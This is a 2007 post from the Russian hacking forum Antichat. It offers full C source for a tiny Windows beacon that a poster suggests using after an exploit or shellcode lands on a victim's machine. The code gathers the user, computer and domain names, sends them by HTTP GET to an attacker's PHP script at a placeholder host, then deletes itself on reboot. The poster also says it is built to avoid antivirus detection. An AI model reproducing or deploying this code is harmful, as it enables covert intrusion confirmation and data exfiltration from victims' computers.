Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Тестирование внедрения. (https://forum.antichat.xyz/showthread.php?t=40946)

[53x]Shadow 27.05.2007 01:25

Тестирование внедрения.
 
Иногда для проверки эффективности пробивки новой связки или например для тестирования очередного эксплойта, или шеллкода в боевой среде (Интернет), необходима начинка которая не палится антивирями. А так же для новичков, которые по той или иной причине не могут использовать трои, но хотят просто попробывать свои силы в использовании эксплойтов и шеллкодов, решил выложить следующий код. Может кому пригодится ;)
Вообщем идея заключается в сборе некой статистики с компа жертвы после того как мы внедрили экзешник на машину.
Идея заключается в том, чтобы собрать некоторые данные, например имя пользователя, машины и домена. Затем отправить их нашему скрипту, в http get запросе. Тем самым подтвердить удачное внедрение нашего экзешника.
Си:
Код:

#include <windows.h>
#include <Wininet.h>
#pragma comment(lib,"wininet")

void main(void)
{
        // строка с именем скрипта гет параметрами
        TCHAR addr[100];
        // размер имени компьютера и пользователя
        DWORD size = 1024;
        // буфер для строки с именем
        TCHAR buf[1024];       
        // Здесь имя нашего скрипта и гет-параметр имя пользователя
        lstrcpy(addr, L"statistic.php?user=");
        if( GetUserName(buf, &size) )
                lstrcat(addr, buf);
        // получим имя компьютера
        lstrcat(addr, L"&comp=");
        size = 1024;
        if( GetComputerName(buf, &size) )
                lstrcat(addr, buf);
        // получим имя домена
        lstrcat(addr, L"&domain=");
        size = 1024;
        if( GetComputerNameEx(ComputerNameDnsFullyQualified, buf, &size))
                lstrcat(addr, buf);

        // инициализируем WinInet
    HINTERNET hInternet = InternetOpen(L"MyIe", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    if (hInternet != NULL) {
        // открываем HTTP сессию, во втором параметре указываем имя сервера с нашим скриптом
        HINTERNET hConnect = InternetConnect(hInternet, L"www.xxx.ru", INTERNET_DEFAULT_HTTP_PORT,
                        NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1u);

        if (hConnect != NULL) {
            // открываем запрос
                        HINTERNET hRequest = HttpOpenRequest(hConnect, L"GET", addr, NULL, NULL, 0, INTERNET_FLAG_KEEP_CONNECTION, 1);

            if (hRequest != NULL) {
                // посылаем запрос
                BOOL bSend = HttpSendRequest(hRequest, NULL,0, NULL,0);
                // закрываем запрос
                ::InternetCloseHandle(hRequest);
            }
            // закрываем сессию
            ::InternetCloseHandle(hConnect);
        }
        // закрываем WinInet
        ::InternetCloseHandle(hInternet);
    }
        // самоудаление после перезагрузки, в первом параметре указываем имя создаваемого в системе экзешника
        MoveFileEx(L"a.exe",NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
        exit(0);
}

За код сильно не бейте старался юзать стандартые апи функции для уменьшения конечного размера экзешника :rolleyes:
Размер исполняемого файла после всяких извращений с настройками компиляции в 2005 студии достиг 3Кб.
Вообщем мона использовать и как небольшой пример написания програм на си для работы с HTTP.
Помимо имени юзера, компа и домена, ничего в башку сразу не пришло, может у кого-нидь есть идеи :confused:
Да и с самоуничтожением тоже долго думать в падлу было ;)
Имхо тип браузера, внешний ип мы всегда определим в пхп скрипте куда уйдут наши данные.
Если кому интересно могу еще выложить и код скрипта на пхп.


Время: 04:23